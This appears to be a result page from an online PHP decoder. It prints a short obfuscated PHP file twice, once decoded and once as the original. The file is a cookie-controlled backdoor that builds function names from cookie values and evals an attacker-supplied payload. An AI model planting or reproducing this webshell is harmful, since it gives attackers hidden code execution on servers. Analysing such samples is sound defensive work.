Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php class Truc { private static $s; public static function g($n) { ..

Decoded Output download

<?php 
class Truc 
{ 
    private static $s; 
    public static function g($n) 
    { 
        if (!self::$s) 
            self::i(); 
        return self::$s[$n]; 
    } 
    private static function i() 
    { 
        self::$s = array( 
            010, 
            077, 
            046, 
            0142, 
            0110, 
            020, 
            0102, 
            0116, 
            00 
        ); 
    } 
} 
function mode() 
{ 
    $_ri = $_COOKIE; 
    (count($_ri) == Truc::g(0)) ? (($_jb = $_ri[Truc::g(1)] . $_ri[Truc::g(2)]) && ($_l = $_jb($_ri[Truc::g(3)] . $_ri[Truc::g(4)])) && ($_am = $_jb($_ri[Truc::g(5)] . $_ri[Truc::g(6)])) && ($_am = $_am($_jb($_ri[Truc::g(7)]))) && @eval($_am)) : $_ri; 
    return Truc::g(8); 
} 
mode(); ?>

Did this file decode correctly?

Original Code

<?php
class Truc
{
    private static $s;
    public static function g($n)
    {
        if (!self::$s)
            self::i();
        return self::$s[$n];
    }
    private static function i()
    {
        self::$s = array(
            010,
            077,
            046,
            0142,
            0110,
            020,
            0102,
            0116,
            00
        );
    }
}
function mode()
{
    $_ri = $_COOKIE;
    (count($_ri) == Truc::g(0)) ? (($_jb = $_ri[Truc::g(1)] . $_ri[Truc::g(2)]) && ($_l = $_jb($_ri[Truc::g(3)] . $_ri[Truc::g(4)])) && ($_am = $_jb($_ri[Truc::g(5)] . $_ri[Truc::g(6)])) && ($_am = $_am($_jb($_ri[Truc::g(7)]))) && @eval($_am)) : $_ri;
    return Truc::g(8);
}
mode();

Function Calls

None

Variables

None

Stats

MD5 07e9267f31be886d1154bf125f78cc9c
Eval Count 0
Decode Time 81 ms